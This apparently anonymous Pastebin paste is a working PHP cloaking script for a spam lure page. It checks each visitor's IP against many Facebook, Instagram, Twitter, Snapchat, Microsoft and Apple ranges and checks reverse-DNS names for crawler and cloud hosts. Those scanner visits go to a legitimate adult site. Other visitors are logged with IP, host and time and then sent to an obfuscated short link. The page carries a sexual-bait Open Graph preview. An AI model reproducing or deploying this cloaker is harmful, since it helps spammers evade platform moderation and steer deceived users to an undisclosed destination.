Advertisement
Guest User

Untitled

a guest
Feb 21st, 2019
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.20 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. $ip = ip2long($_SERVER['REMOTE_ADDR']);
  5.  
  6.  
  7.  
  8.  
  9.  
  10. $chel = 1;
  11.  
  12.  
  13. $log_file="insta-ip.txt";
  14. $f=fopen($log_file,"a+");
  15. $ip111=getenv("REMOTE_ADDR");
  16.  
  17. $host = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  18.  
  19.  
  20. $range_low = ip2long("173.252.64.0");
  21. $range_high = ip2long("173.252.127.255");
  22. if ($ip >= $range_low && $ip <= $range_high) {
  23. fputs($f, ".");
  24. }
  25. else {
  26. $chel = $chel + 1;
  27. }
  28.  
  29. $range_low = ip2long("66.220.144.0");
  30. $range_high = ip2long("66.220.159.255");
  31. if ($ip >= $range_low && $ip <= $range_high) {
  32. fputs($f, ".");
  33. }
  34. else {
  35. $chel = $chel + 1;
  36. }
  37.  
  38. $range_low = ip2long("85.17.59.0");
  39. $range_high = ip2long("85.17.59.255");
  40. if ($ip >= $range_low && $ip <= $range_high) {
  41. fputs($f, ".");
  42. }
  43. else {
  44. $chel = $chel + 1;
  45. }
  46.  
  47. $range_low = ip2long("199.201.64.0");
  48. $range_high = ip2long("199.201.67.255");
  49. if ($ip >= $range_low && $ip <= $range_high) {
  50. fputs($f, ".");
  51. }
  52. else {
  53. $chel = $chel + 1;
  54. }
  55.  
  56. $range_low = ip2long("64.74.215.0");
  57. $range_high = ip2long("64.74.215.255");
  58. if ($ip >= $range_low && $ip <= $range_high) {
  59. fputs($f, ".");
  60. }
  61. else {
  62. $chel = $chel + 1;
  63. }
  64.  
  65. $range_low = ip2long("54.191.244.0");
  66. $range_high = ip2long("54.191.244.255");
  67. if ($ip >= $range_low && $ip <= $range_high) {
  68. fputs($f, ".");
  69. }
  70. else {
  71. $chel = $chel + 1;
  72. }
  73.  
  74. $range_low = ip2long("54.69.76.0");
  75. $range_high = ip2long("54.69.76.255");
  76. if ($ip >= $range_low && $ip <= $range_high) {
  77. fputs($f, ".");
  78. }
  79. else {
  80. $chel = $chel + 1;
  81. }
  82.  
  83. $range_low = ip2long("69.171.224.0");
  84. $range_high = ip2long("69.171.255.255");
  85. if ($ip >= $range_low && $ip <= $range_high) {
  86. fputs($f, ".");
  87. }
  88. else {
  89. $chel = $chel + 1;
  90. }
  91.  
  92. $range_low = ip2long("69.63.176.0");
  93. $range_high = ip2long("69.63.191.255");
  94. if ($ip >= $range_low && $ip <= $range_high) {
  95. fputs($f, ".");
  96. }
  97. else {
  98. $chel = $chel + 1;
  99. }
  100.  
  101. $range_low = ip2long("74.119.76.0");
  102. $range_high = ip2long("74.119.79.255");
  103. if ($ip >= $range_low && $ip <= $range_high) {
  104. fputs($f, ".");
  105. }
  106. else {
  107. $chel = $chel + 1;
  108. }
  109.  
  110. $range_low = ip2long("204.15.20.0");
  111. $range_high = ip2long("204.15.23.255");
  112. if ($ip >= $range_low && $ip <= $range_high) {
  113. fputs($f, ".");
  114. }
  115. else {
  116. $chel = $chel + 1;
  117. }
  118.  
  119. $range_low = ip2long("208.185.168.128");
  120. $range_high = ip2long("208.185.168.135");
  121. if ($ip >= $range_low && $ip <= $range_high) {
  122. fputs($f, ".");
  123. }
  124. else {
  125. $chel = $chel + 1;
  126. }
  127.  
  128. $range_low = ip2long("70.105.81.144");
  129. $range_high = ip2long("70.105.81.159");
  130. if ($ip >= $range_low && $ip <= $range_high) {
  131. fputs($f, ".");
  132. }
  133. else {
  134. $chel = $chel + 1;
  135. }
  136.  
  137. $range_low = ip2long("23.101.61.0");
  138. $range_high = ip2long("23.101.61.255");
  139. if ($ip >= $range_low && $ip <= $range_high) {
  140. fputs($f, ".");
  141. }
  142. else {
  143. $chel = $chel + 1;
  144. }
  145.  
  146.  
  147.  
  148. $range_low = ip2long("104.40.0.0");
  149. $range_high = ip2long("104.47.255.255");
  150. if ($ip >= $range_low && $ip <= $range_high) {
  151. fputs($f, ".");
  152. }
  153. else {
  154. $chel = $chel + 1;
  155. }
  156.  
  157. if(preg_match("#" . 'google' ."#is", $host))
  158. {
  159. fputs($f, ".");
  160. }
  161. else {
  162. $chel = $chel + 1;
  163. }
  164.  
  165. if(preg_match("#" . 'trendiction' ."#is", $host))
  166. {
  167. fputs($f, ".");
  168. }
  169. else {
  170. $chel = $chel + 1;
  171. }
  172.  
  173. if(preg_match("#" . 'your-server' ."#is", $host))
  174. {
  175. fputs($f, ".");
  176. }
  177. else {
  178. $chel = $chel + 1;
  179. }
  180.  
  181. if(preg_match("#" . 'amazonaws' ."#is", $host))
  182. {
  183. fputs($f, ".");
  184. }
  185. else {
  186. $chel = $chel + 1;
  187. }
  188.  
  189. if(preg_match("#" . '.ip-' ."#is", $host))
  190. {
  191. fputs($f, ".");
  192. }
  193. else {
  194. $chel = $chel + 1;
  195. }
  196.  
  197. if(preg_match("#" . 'linode' ."#is", $host))
  198. {
  199. fputs($f, ".");
  200. }
  201. else {
  202. $chel = $chel + 1;
  203. }
  204.  
  205. if(preg_match("#" . 'twttr' ."#is", $host))
  206. {
  207. fputs($f, ".");
  208. }
  209. else {
  210. $chel = $chel + 1;
  211. }
  212.  
  213. if(preg_match("#" . 'applebot' ."#is", $host))
  214. {
  215. fputs($f, ".");
  216. }
  217. else {
  218. $chel = $chel + 1;
  219. }
  220.  
  221. $range_low = ip2long("17.142.151.0");
  222. $range_high = ip2long("17.142.151.255");
  223. if ($ip >= $range_low && $ip <= $range_high) {
  224. fputs($f, ".");
  225.  
  226. }
  227. else {
  228. $chel = $chel + 1;
  229. }
  230.  
  231. $range_low = ip2long("199.59.148.0");
  232. $range_high = ip2long("199.59.148.255");
  233. if ($ip >= $range_low && $ip <= $range_high) {
  234. fputs($f, ".");
  235.  
  236. }
  237. else {
  238. $chel = $chel + 1;
  239. }
  240.  
  241. $range_low = ip2long("199.16.156.0");
  242. $range_high = ip2long("199.16.156.255");
  243. if ($ip >= $range_low && $ip <= $range_high) {
  244. fputs($f, ".");
  245.  
  246. }
  247. else {
  248. $chel = $chel + 1;
  249. }
  250.  
  251. $range_low = ip2long("17.142.151.0");
  252. $range_high = ip2long("17.142.151.255");
  253. if ($ip >= $range_low && $ip <= $range_high) {
  254. fputs($f, ".");
  255.  
  256. }
  257. else {
  258. $chel = $chel + 1;
  259. }
  260.  
  261. $range_low = ip2long("23.96.208.0");
  262. $range_high = ip2long("23.96.208.255");
  263. if ($ip >= $range_low && $ip <= $range_high) {
  264. fputs($f, ".");
  265.  
  266. }
  267. else {
  268. $chel = $chel + 1;
  269. }
  270.  
  271. $range_low = ip2long("149.102.90.0");
  272. $range_high = ip2long("149.102.130.255");
  273. if ($ip >= $range_low && $ip <= $range_high) {
  274. fputs($f, ".");
  275.  
  276. }
  277. else {
  278. $chel = $chel + 1;
  279. }
  280.  
  281. $range_low = ip2long("4.71.170.0");
  282. $range_high = ip2long("4.71.170.255");
  283. if ($ip >= $range_low && $ip <= $range_high) {
  284. fputs($f, ".");
  285.  
  286. }
  287. else {
  288. $chel = $chel + 1;
  289. }
  290.  
  291.  
  292. $range_low = ip2long("150.164.196.0");
  293. $range_high = ip2long("150.164.196.255");
  294. if ($ip >= $range_low && $ip <= $range_high) {
  295. fputs($f, ".");
  296.  
  297. }
  298. else {
  299. $chel = $chel + 1;
  300. }
  301.  
  302. $range_low = ip2long("153.120.3.0");
  303. $range_high = ip2long("153.120.3.255");
  304. if ($ip >= $range_low && $ip <= $range_high) {
  305. fputs($f, ".");
  306.  
  307. }
  308. else {
  309. $chel = $chel + 1;
  310. }
  311.  
  312. $range_low = ip2long("188.166.209.0");
  313. $range_high = ip2long("188.166.209.255");
  314. if ($ip >= $range_low && $ip <= $range_high) {
  315. fputs($f, ".");
  316.  
  317. }
  318. else {
  319. $chel = $chel + 1;
  320. }
  321.  
  322. $range_low = ip2long("62.0.1.0");
  323. $range_high = ip2long("62.0.1.255");
  324. if ($ip >= $range_low && $ip <= $range_high) {
  325. fputs($f, ".");
  326.  
  327. }
  328. else {
  329. $chel = $chel + 1;
  330. }
  331.  
  332. $range_low = ip2long("91.228.167.0");
  333. $range_high = ip2long("91.228.167.255");
  334. if ($ip >= $range_low && $ip <= $range_high) {
  335. fputs($f, ".");
  336.  
  337. }
  338. else {
  339. $chel = $chel + 1;
  340. }
  341.  
  342. $range_low = ip2long("92.246.16.0");
  343. $range_high = ip2long("92.246.16.255");
  344. if ($ip >= $range_low && $ip <= $range_high) {
  345. fputs($f, ".");
  346.  
  347. }
  348. else {
  349. $chel = $chel + 1;
  350. }
  351.  
  352.  
  353. // SNAP CHAT
  354.  
  355. $range_low = ip2long("104.193.185.0");
  356. $range_high = ip2long("104.193.185.255");
  357. if ($ip >= $range_low && $ip <= $range_high) {
  358. fputs($f, ".");
  359.  
  360. }
  361. else {
  362. $chel = $chel + 1;
  363. }
  364.  
  365. $range_low = ip2long("63.251.222.0");
  366. $range_high = ip2long("63.251.222.255");
  367. if ($ip >= $range_low && $ip <= $range_high) {
  368. fputs($f, ".");
  369.  
  370. }
  371. else {
  372. $chel = $chel + 1;
  373. }
  374.  
  375. $range_low = ip2long("64.74.32.0");
  376. $range_high = ip2long("64.74.32.255");
  377. if ($ip >= $range_low && $ip <= $range_high) {
  378. fputs($f, ".");
  379.  
  380. }
  381. else {
  382. $chel = $chel + 1;
  383. }
  384.  
  385. // TWITTER
  386.  
  387. $range_low = ip2long("104.244.40.0");
  388. $range_high = ip2long("104.244.47.255");
  389. if ($ip >= $range_low && $ip <= $range_high) {
  390. fputs($f, ".");
  391.  
  392. }
  393. else {
  394. $chel = $chel + 1;
  395. }
  396.  
  397. $range_low = ip2long("185.45.5.0");
  398. $range_high = ip2long("185.45.6.255");
  399. if ($ip >= $range_low && $ip <= $range_high) {
  400. fputs($f, ".");
  401.  
  402. }
  403. else {
  404. $chel = $chel + 1;
  405. }
  406.  
  407.  
  408. $range_low = ip2long("188.64.224.0");
  409. $range_high = ip2long("188.64.231.255");
  410. if ($ip >= $range_low && $ip <= $range_high) {
  411. fputs($f, ".");
  412.  
  413. }
  414. else {
  415. $chel = $chel + 1;
  416. }
  417.  
  418. $range_low = ip2long("199.96.56.0");
  419. $range_high = ip2long("199.96.62.255");
  420. if ($ip >= $range_low && $ip <= $range_high) {
  421. fputs($f, ".");
  422.  
  423. }
  424. else {
  425. $chel = $chel + 1;
  426. }
  427.  
  428.  
  429. $range_low = ip2long("202.160.128.0");
  430. $range_high = ip2long("202.160.131.255");
  431. if ($ip >= $range_low && $ip <= $range_high) {
  432. fputs($f, ".");
  433.  
  434. }
  435. else {
  436. $chel = $chel + 1;
  437. }
  438.  
  439. $range_low = ip2long("209.237.192.0");
  440. $range_high = ip2long("209.237.223.255");
  441. if ($ip >= $range_low && $ip <= $range_high) {
  442. fputs($f, ".");
  443.  
  444. }
  445. else {
  446. $chel = $chel + 1;
  447. }
  448.  
  449. $range_low = ip2long("69.195.160.0");
  450. $range_high = ip2long("69.195.191.255");
  451. if ($ip >= $range_low && $ip <= $range_high) {
  452. fputs($f, ".");
  453.  
  454. }
  455. else {
  456. $chel = $chel + 1;
  457. }
  458.  
  459. $range_low = ip2long("103.252.112.0");
  460. $range_high = ip2long("103.252.114.255");
  461. if ($ip >= $range_low && $ip <= $range_high) {
  462. fputs($f, ".");
  463.  
  464. }
  465. else {
  466. $chel = $chel + 1;
  467. }
  468.  
  469.  
  470. $range_low = ip2long("64.63.0.0");
  471. $range_high = ip2long("64.63.0.255");
  472. if ($ip >= $range_low && $ip <= $range_high) {
  473. fputs($f, ".");
  474.  
  475. }
  476. else {
  477. $chel = $chel + 1;
  478. }
  479. $range_low = ip2long("199.59.148.0");
  480. $range_high = ip2long("199.59.150.255");
  481. if ($ip >= $range_low && $ip <= $range_high) {
  482. fputs($f, ".");
  483.  
  484. }
  485. else {
  486. $chel = $chel + 1;
  487. }
  488. $range_low = ip2long("199.16.156.0");
  489. $range_high = ip2long("199.16.156.255");
  490. if ($ip >= $range_low && $ip <= $range_high) {
  491. fputs($f, ".");
  492.  
  493. }
  494. else {
  495. $chel = $chel + 1;
  496. }
  497. $range_low = ip2long("192.44.69.0");
  498. $range_high = ip2long("192.44.69.255");
  499. if ($ip >= $range_low && $ip <= $range_high) {
  500. fputs($f, ".");
  501.  
  502. }
  503. else {
  504. $chel = $chel + 1;
  505. }
  506. $range_low = ip2long("192.133.76.0");
  507. $range_high = ip2long("192.133.76.255");
  508. if ($ip >= $range_low && $ip <= $range_high) {
  509. fputs($f, ".");
  510.  
  511. }
  512. else {
  513. $chel = $chel + 1;
  514. }
  515.  
  516.  
  517. // SNAP ?
  518.  
  519. $range_low = ip2long("35.187.132.0");
  520. $range_high = ip2long("35.187.132.255");
  521. if ($ip >= $range_low && $ip <= $range_high) {
  522. fputs($f, ".");
  523.  
  524. }
  525. else {
  526. $chel = $chel + 1;
  527. }
  528.  
  529.  
  530. if ($chel == 54) {
  531.  
  532.  
  533. fputs($f, "\r\n".$ip111.' '.$host. ' '.date("Y-m-d H:i:s")."OK! - redir\r\n");
  534. header ('HTTP/1.1 301 Moved Permanently');
  535. header ('Location: https://alla-modeller.com/tH3bkJLK');
  536.  
  537.  
  538. } else {
  539.  
  540. header ('HTTP/1.1 301 Moved Permanently');
  541. header ('Location: https://www.suicidegirls.com/');
  542.  
  543.  
  544. }
  545.  
  546.  
  547.  
  548. fclose($f);
  549.  
  550. ?>
  551.  
  552.  
  553. <!DOCTYPE HTML>
  554.  
  555. <html>
  556.  
  557. <head>
  558. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  559. <title>Hello</title>
  560. <meta name="robots" content="noindex, nofollow"/>
  561.  
  562.  
  563. <meta property="og:type" content="article" />
  564. <meta property="og:title" content="Wann have some fun?" />
  565. <meta property="og:description" content="hey hey hey lokk for sum spacial" />
  566. <meta property="og:image" content="http://we11he11o.com/main.jpg" />
  567.  
  568.  
  569.  
  570. </head>
  571.  
  572. <body>
  573. <h1>hey hey hey lokk for sum spacial</h1>
  574. <h1><img src="http://we11he11o.com/main.jpg" alt="" ></h1>
  575.  
  576.  
  577.  
  578. </body>
  579.  
  580. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement